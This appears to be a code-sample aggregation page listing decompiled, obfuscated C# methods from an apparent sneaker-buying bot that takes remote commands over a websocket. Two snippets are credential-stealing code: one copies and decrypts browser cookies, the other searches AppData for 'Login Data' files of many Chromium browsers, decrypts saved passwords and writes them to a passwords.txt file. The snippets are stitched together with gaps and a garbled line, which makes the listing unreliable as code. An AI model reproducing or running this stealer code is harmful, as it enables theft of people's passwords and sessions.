Exemple #1
0
 // Token: 0x06000210 RID: 528 RVA: 0x00012B30 File Offset: 0x00010D30
 private void method_2(object sender, MessageEventArgs e)
 {
     try
     {
         JObject jobject = JObject.Parse(e.Data);
         MainWindow.smethod_0();
         if (jobject.ContainsKey("quicktask"))
         {
             Class170.smethod_0(jobject["quicktask"].ToString(), (string)jobject["id"]);
         }
         if (jobject.ContainsKey("stop"))
         {
             Class170.smethod_1(jobject["stop"].ToString());
         }
         if (jobject.ContainsKey("stopall"))
         {
             Class26.smethod_3(Class130.jobject_3);
         }
         if (jobject.ContainsKey("startall"))
         {
             Class26.smethod_1(Class130.jobject_3, null);
         }
         if (jobject.ContainsKey("linkchange"))
         {
             Class1.smethod_1(jobject["linkchange"].ToString());
         }
         if (jobject.ContainsKey("message"))
         {
             MainWindow.webView_0.QueueScriptCall(string.Format("swal('Message', '{0}', 'info')", jobject["message"].ToString().smethod_8()));
         }
         if (jobject.ContainsKey("reset"))
         {
             Class130.string_3 = null;
             Class130.smethod_1();
             MainWindow.mainWindow_0.method_4(null, null);
         }
         if (jobject.ContainsKey("close"))
         {
             MainWindow.mainWindow_0.method_4(null, null);
         }
     }
     catch
     {
     }
 }
Exemple #2
0
 // Token: 0x06000140 RID: 320 RVA: 0x0000E230 File Offset: 0x0000C430
 public void imethod_1(int int_0, out byte byte_0)
 {
     if (int_0 >= 0 && int_0 < this.imethod_0())
     {
         IntPtr intPtr = IntPtr.Zero;
         char   char_  = '\0';
         try
         {
             intPtr = Marshal.SecureStringToGlobalAllocUnicode(this.secureString_0);
             char_  = (char)Marshal.ReadInt16(intPtr, int_0 * 2);
             byte_0 = Class26.smethod_1(char_, int_0);
             return;
         }
         finally
         {
             Class169.smethod_3(ref char_);
             if (intPtr != IntPtr.Zero)
             {
                 Marshal.ZeroFreeGlobalAllocUnicode(intPtr);
             }
         }
     }
     throw new ArgumentOutOfRangeException();
 }
    // Token: 0x060001CD RID: 461 RVA: 0x0000EA64 File Offset: 0x0000CC64
    private static List <Class21> smethod_2(string string_0)
    {
        List <Class21> result;

        if (!File.Exists(string_0))
        {
            result = null;
        }
        else
        {
            try
            {
                string text = Dirs.WorkDir + "test.fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(string_0, text, true);
                Class12        @class = new Class12(text);
                List <Class21> list   = new List <Class21>();
                @class.method_4("cookies");
                for (int i = 0; i < @class.method_1(); i++)
                {
                    try
                    {
                        string text2 = string.Empty;
                        try
                        {
                            text2 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(i, 12)), null));
                        }
                        catch
                        {
                        }
                        if (text2 != "")
                        {
                            List <Class21> list2  = list;
                            Class21        class2 = new Class21();
                            class2.method_1(@class.method_0(i, 1));
                            class2.name = @class.method_0(i, 2);
                            class2.path = @class.method_0(i, 4);
                            class2.method_3(@class.method_0(i, 5));
                            class2.method_5(@class.method_0(i, 6));
                            class2.value = text2;
                            list2.Add(class2);
                            Class20.int_0++;
                        }
                    }
                    catch
                    {
                    }
                }
                File.Delete(text);
                result = list;
            }
            catch
            {
                result = null;
            }
        }
        return(result);
    }
Exemple #4
0
 // Token: 0x0600011A RID: 282 RVA: 0x00003584 File Offset: 0x00001784
 public static void smethod_0(object object_0, JSExtInvokeArgs jsextInvokeArgs_0)
 {
     Class26.smethod_1(JObject.Parse(jsextInvokeArgs_0.Arguments.First <object>().ToString()), null);
 }
 // Token: 0x06000203 RID: 515 RVA: 0x00010138 File Offset: 0x0000E338
 public static void smethod_0()
 {
     string[] array = new string[]
     {
         "Chrome",
         "Yandex",
         "Orbitum",
         "Opera",
         "Amigo",
         "Torch",
         "Comodo",
         "CentBrowser",
         "Go!",
         "uCozMedia",
         "Rockmelt",
         "Sleipnir",
         "SRWare Iron",
         "Vivaldi",
         "Sputnik",
         "Maxthon",
         "AcWebBrowser",
         "Epic Browser",
         "MapleStudio",
         "BlackHawk",
         "Flock",
         "CoolNovo",
         "Baidu Spark",
         "Titan Browser"
     };
     try
     {
         Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
         List <string> list  = new List <string>();
         List <string> list2 = new List <string>
         {
             Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
             Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
         };
         List <string> list3 = new List <string>();
         foreach (string path in list2)
         {
             try
             {
                 list3.AddRange(Directory.GetDirectories(path));
             }
             catch
             {
             }
         }
         foreach (string path2 in list3)
         {
             try
             {
                 list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories));
                 string[] files = Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories);
                 foreach (string text in files)
                 {
                     try
                     {
                         if (File.Exists(text))
                         {
                             string string_ = "Unknown (" + text + ")";
                             foreach (string text2 in array)
                             {
                                 if (text.Contains(text2))
                                 {
                                     string_ = text2;
                                 }
                             }
                             try
                             {
                                 string text3 = Path.GetTempPath() + "/test.fv";
                                 if (File.Exists(text3))
                                 {
                                     File.Delete(text3);
                                 }
                                 File.Copy(text, text3, true);
                                 Class12 @class = new Class12(text3);
                                 if ([email protected]_4("logins"))
                                 {
                                     break;
                                 }
                                 int num = 0;
                                 for (;;)
                                 {
                                     try
                                     {
                                         if (num >= @class.method_1())
                                         {
                                             break;
                                         }
                                         try
                                         {
                                             string text4 = string.Empty;
                                             try
                                             {
                                                 text4 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null));
                                             }
                                             catch (Exception)
                                             {
                                             }
                                             if (text4 != "")
                                             {
                                                 Class27 class2 = new Class27();
                                                 class2.method_1(@class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", ""));
                                                 class2.method_3(@class.method_0(num, 3));
                                                 class2.method_5(text4);
                                                 class2.method_7(string_);
                                                 Class27 arg = class2;
                                                 Class26.string_0 += Convert.ToString(Environment.NewLine + arg);
                                                 Class26.int_0++;
                                             }
                                         }
                                         catch
                                         {
                                         }
                                         num++;
                                     }
                                     catch
                                     {
                                     }
                                 }
                                 File.Delete(text3);
                             }
                             catch
                             {
                             }
                         }
                     }
                     catch
                     {
                     }
                 }
             }
             catch
             {
             }
         }
         File.WriteAllText(Dirs.WorkDir + "\\passwords.txt", (Class26.string_0 != null) ? ("Shut Up and Work " + Environment.NewLine + Class26.string_0 + "\n") : "", Encoding.Default);
     }
     catch
     {
     }
 }
Exemple #6
0
        // Token: 0x060007CF RID: 1999 RVA: 0x00045E5C File Offset: 0x0004405C
        void IAsyncStateMachine.MoveNext()
        {
            int num2;
            int num = num2;

            try
            {
                try
                {
                    TaskAwaiter <string> taskAwaiter5;
                    TaskAwaiter <bool>   taskAwaiter6;
                    if (num != 0)
                    {
                        if (num == 1)
                        {
                            taskAwaiter5 = taskAwaiter4;
                            taskAwaiter4 = default(TaskAwaiter <string>);
                            num2         = -1;
                            goto IL_31F;
                        }
                        taskAwaiter6 = MainWindow.taskCompletionSource_0.Task.GetAwaiter();
                        if (!taskAwaiter6.IsCompleted)
                        {
                            num2         = 0;
                            taskAwaiter2 = taskAwaiter6;
                            this.asyncVoidMethodBuilder_0.AwaitUnsafeOnCompleted <TaskAwaiter <bool>, Class170.Struct143>(ref taskAwaiter6, ref this);
                            return;
                        }
                    }
                    else
                    {
                        taskAwaiter6 = taskAwaiter2;
                        taskAwaiter2 = default(TaskAwaiter <bool>);
                        num2         = -1;
                    }
                    taskAwaiter6.GetResult();
                    string text4 = null;
                    string text5;
                    if (string_0.StartsWith("http"))
                    {
                        Class170.Class172 @class = new Class170.Class172();
                        @class.uri_0 = new Uri(string_0);
                        text4        = string.Format("{0}://{1}", @class.uri_0.Scheme, @class.uri_0.Authority);
                        JProperty jproperty = Class130.jobject_1.Properties().Where(new Func <JProperty, bool>(@class.method_0)).FirstOrDefault <JProperty>();
                        text5 = ((jproperty != null) ? jproperty.Name : null);
                    }
                    else
                    {
                        List <string> list = string_0.Split(new char[]
                        {
                            ':'
                        }).ToList <string>();
                        text5 = list[0].Replace('_', ' ');
                        list.RemoveAt(0);
                        string_0 = string.Join(":", list);
                    }
                    JToken jtoken = Class130.jobject_2.Values().Where(new Func <JToken, bool>(Class170.Class171.class171_0.method_0)).FirstOrDefault <JToken>();
                    if (jtoken == null)
                    {
                        MainWindow.webView_0.QueueScriptCall("swal('No favourite profile set', 'You need to set a favourite profile in the billing tab to use the quick task feauture!', 'warning')");
                        goto IL_3A5;
                    }
                    JObject jobject = new JObject();
                    jobject["keywords"]   = string_0;
                    jobject["store"]      = (text5 ?? "Custom");
                    jobject["custom_url"] = (text4 ?? null);
                    jobject["login"]      = false;
                    jobject["size"]       = "Random";
                    jobject["profile"]    = jtoken["name"];
                    jobject["proxy"]      = false;
                    jobject["afk"]        = false;
                    string  propertyName = "supreme";
                    JObject jobject2     = new JObject();
                    jobject2["category"]     = "new";
                    jobject2["color"]        = string.Empty;
                    jobject2["random"]       = true;
                    jobject[propertyName]    = jobject2;
                    jobject["bank_transfer"] = false;
                    JObject jobject3 = jobject;
                    text3        = MainWindow.webView_0.QueueScriptCall(string.Format("addTasks([JSON.parse('{0}')])", jobject3.ToString().smethod_8())).smethod_0();
                    taskAwaiter5 = MainWindow.webView_0.QueueScriptCall("JSON.stringify(tasks)").smethod_2().GetAwaiter();
                    if (!taskAwaiter5.IsCompleted)
                    {
                        num2         = 1;
                        taskAwaiter4 = taskAwaiter5;
                        this.asyncVoidMethodBuilder_0.AwaitUnsafeOnCompleted <TaskAwaiter <string>, Class170.Struct143>(ref taskAwaiter5, ref this);
                        return;
                    }
IL_31F:
                    Class130.jobject_3 = JObject.Parse(taskAwaiter5.GetResult());
                    if (string_1 != null)
                    {
                        Class170.dictionary_0[string_1] = text3;
                    }
                    JObject jobject4      = new JObject();
                    string  propertyName2 = text3;
                    jobject4[propertyName2] = Class130.jobject_3[text3];
                    Class26.smethod_1(jobject4, string_1);
                    text3 = null;
                }
                catch
                {
                }
            }
            catch (Exception exception)
            {
                num2 = -2;
                this.asyncVoidMethodBuilder_0.SetException(exception);
                return;
            }
IL_3A5:
            num2 = -2;
            this.asyncVoidMethodBuilder_0.SetResult();
        }
Exemple #7
0
 // Token: 0x060007C8 RID: 1992 RVA: 0x00045DD0 File Offset: 0x00043FD0
 public static async void smethod_0(string string_0, string string_1)
 {
     try
     {
         TaskAwaiter <bool> taskAwaiter = MainWindow.taskCompletionSource_0.Task.GetAwaiter();
         if (!taskAwaiter.IsCompleted)
         {
             await taskAwaiter;
             TaskAwaiter <bool> taskAwaiter2;
             taskAwaiter  = taskAwaiter2;
             taskAwaiter2 = default(TaskAwaiter <bool>);
         }
         taskAwaiter.GetResult();
         string text = null;
         string text2;
         if (string_0.StartsWith("http"))
         {
             Class170.Class172 @class = new Class170.Class172();
             @class.uri_0 = new Uri(string_0);
             text         = string.Format("{0}://{1}", @class.uri_0.Scheme, @class.uri_0.Authority);
             JProperty jproperty = Class130.jobject_1.Properties().Where(new Func <JProperty, bool>(@class.method_0)).FirstOrDefault <JProperty>();
             text2 = ((jproperty != null) ? jproperty.Name : null);
         }
         else
         {
             List <string> list = string_0.Split(new char[]
             {
                 ':'
             }).ToList <string>();
             text2 = list[0].Replace('_', ' ');
             list.RemoveAt(0);
             string_0 = string.Join(":", list);
         }
         JToken jtoken = Class130.jobject_2.Values().Where(new Func <JToken, bool>(Class170.Class171.class171_0.method_0)).FirstOrDefault <JToken>();
         if (jtoken == null)
         {
             MainWindow.webView_0.QueueScriptCall("swal('No favourite profile set', 'You need to set a favourite profile in the billing tab to use the quick task feauture!', 'warning')");
         }
         else
         {
             JObject jobject = new JObject();
             jobject["keywords"]   = string_0;
             jobject["store"]      = (text2 ?? "Custom");
             jobject["custom_url"] = (text ?? null);
             jobject["login"]      = false;
             jobject["size"]       = "Random";
             jobject["profile"]    = jtoken["name"];
             jobject["proxy"]      = false;
             jobject["afk"]        = false;
             string  propertyName = "supreme";
             JObject jobject2     = new JObject();
             jobject2["category"]     = "new";
             jobject2["color"]        = string.Empty;
             jobject2["random"]       = true;
             jobject[propertyName]    = jobject2;
             jobject["bank_transfer"] = false;
             string text3 = MainWindow.webView_0.QueueScriptCall(string.Format("addTasks([JSON.parse('{0}')])", jobject.ToString().smethod_8())).smethod_0();
             TaskAwaiter <string> taskAwaiter3 = MainWindow.webView_0.QueueScriptCall("JSON.stringify(tasks)").smethod_2().GetAwaiter();
             if (!taskAwaiter3.IsCompleted)
             {
                 await taskAwaiter3;
                 TaskAwaiter <string> taskAwaiter4;
                 taskAwaiter3 = taskAwaiter4;
                 taskAwaiter4 = default(TaskAwaiter <string>);
             }
             Class130.jobject_3 = JObject.Parse(taskAwaiter3.GetResult());
             if (string_1 != null)
             {
                 Class170.dictionary_0[string_1] = text3;
             }
             JObject jobject3 = new JObject();
             jobject3[text3] = Class130.jobject_3[text3];
             Class26.smethod_1(jobject3, string_1);
             text3 = null;
         }
     }
     catch
     {
     }
 }